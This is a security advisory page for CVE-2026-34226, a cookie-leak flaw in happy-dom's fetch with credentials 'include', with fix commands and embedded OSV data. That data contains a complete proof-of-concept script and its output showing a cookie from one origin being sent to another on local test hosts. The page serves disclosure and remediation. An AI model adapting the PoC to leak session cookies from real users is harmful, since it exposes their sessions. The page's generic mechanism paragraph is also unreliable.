CVE-2026-34226: Happy dom Happy DOM's Fetch Credentials Include Vulnerability
HIGHCVE-2026-34226 is a HIGH (CVSS 7.5) happy dom's fetch credentials include vulnerability (CWE-201: Insertion of Sensitive Information Into Sent Data) affecting Happy dom libraries in the npm ecosystem. The issue involves happy dom's fetch credentials include uses page-origin cookies instead of target-origin cookies. Remediation is available by upgrading affected packages to version 20.8.9.
CVE-2026-34226 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-34226
To remediate this vulnerability, upgrade all affected Happy dom dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install happy-dom@20.8.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls happy-dom
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-34226, inspect your project dependencies using npm:
npm ls happy-dom
Analyze the terminal output to locate any version of Happy dom in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20.8.9), your application is affected.
Note: The npm ls happy-dom command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data, where the code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. In Happy dom, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34226 Affected Happy dom Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
happy-dom
|
npm |
< 20.8.9
|
20.8.9
|
References
Frequently Asked Questions
What is CVE-2026-34226?
Which Happy dom versions are affected?
What version fixes CVE-2026-34226?
Is happy-dom affected?
What is the CVSS score of CVE-2026-34226?
What CWE is associated with CVE-2026-34226?
How can I check npm dependencies for CVE-2026-34226?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w4gp-fjgq-3q4g",
"modified" : "2026-03-29T15:23:57Z",
"published" : "2026-03-29T15:23:57Z",
"aliases" : [ "CVE-2026-34226" ],
"summary" : "Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies",
"details" : "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n originURL,\n false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));\n}\n\nasync function run() {\n let observedCookieHeader = null;\n const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n console.log('Setup:');\n console.log(` Page Origin Host : ${pageHost}`);\n console.log(` Request Target Host: ${apiHost}`);\n console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');\n console.log('');\n\n await dns.lookup(pageHost);\n await dns.lookup(apiHost);\n\n const pageServer = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'text/plain' });\n res.end('page host');\n });\n\n const apiServer = http.createServer((req, res) => {\n observedCookieHeader = req.headers.cookie || '';\n const origin = req.headers.origin || '';\n res.writeHead(200, {\n 'content-type': 'application/json',\n 'access-control-allow-origin': origin,\n 'access-control-allow-credentials': 'true'\n });\n res.end(JSON.stringify({ ok: true }));\n });\n\n const pagePort = await listen(pageServer, '127.0.0.1');\n const apiPort = await listen(apiServer, '127.0.0.1');\n\n const browser = new Browser();\n\n try {\n const context = browser.defaultContext;\n\n // Page host: pageHost (local DNS)\n const page = context.newPage();\n page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n // Target host: apiHost (local DNS)\n const apiSeedPage = context.newPage();\n apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n // Trigger cross-host request with credentials.\n const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n credentials: 'include'\n });\n await res.text();\n\n const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n console.log('Expected:');\n console.log(' Request to target host should include \"api_cookie=API_ONLY\".');\n console.log(' Request should NOT include \"page_cookie=PAGE_ONLY\".');\n console.log('');\n\n console.log('Actual:');\n console.log(` request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n console.log(` includes page_cookie: ${leakedPageCookie}`);\n console.log(` includes api_cookie : ${expectedApiCookie}`);\n console.log('');\n\n if (leakedPageCookie && !expectedApiCookie) {\n console.log('Result: VULNERABLE behavior reproduced.');\n process.exitCode = 0;\n } else {\n console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n process.exitCode = 1;\n }\n } finally {\n await browser.close();\n pageServer.close();\n apiServer.close();\n }\n}\n\nrun().catch((error) => {\n console.error(error);\n process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js >= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n Page Origin Host : a.127.0.0.1.nip.io\n Request Target Host: b.127.0.0.1.nip.io\n (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n Request to target host should include \"api_cookie=API_ONLY\".\n Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n request cookie header: \"page_cookie=PAGE_ONLY\"\n includes page_cookie: true\n includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "happy-dom"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "20.8.9"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
}, {
"type" : "WEB",
"url" : "https://github.com/capricorn86/happy-dom/pull/2117"
}, {
"type" : "WEB",
"url" : "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/capricorn86/happy-dom"
}, {
"type" : "WEB",
"url" : "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
}, {
"type" : "WEB",
"url" : "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-201" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-29T15:23:57Z",
"nvd_published_at" : "2026-03-27T22:16:23Z"
}
}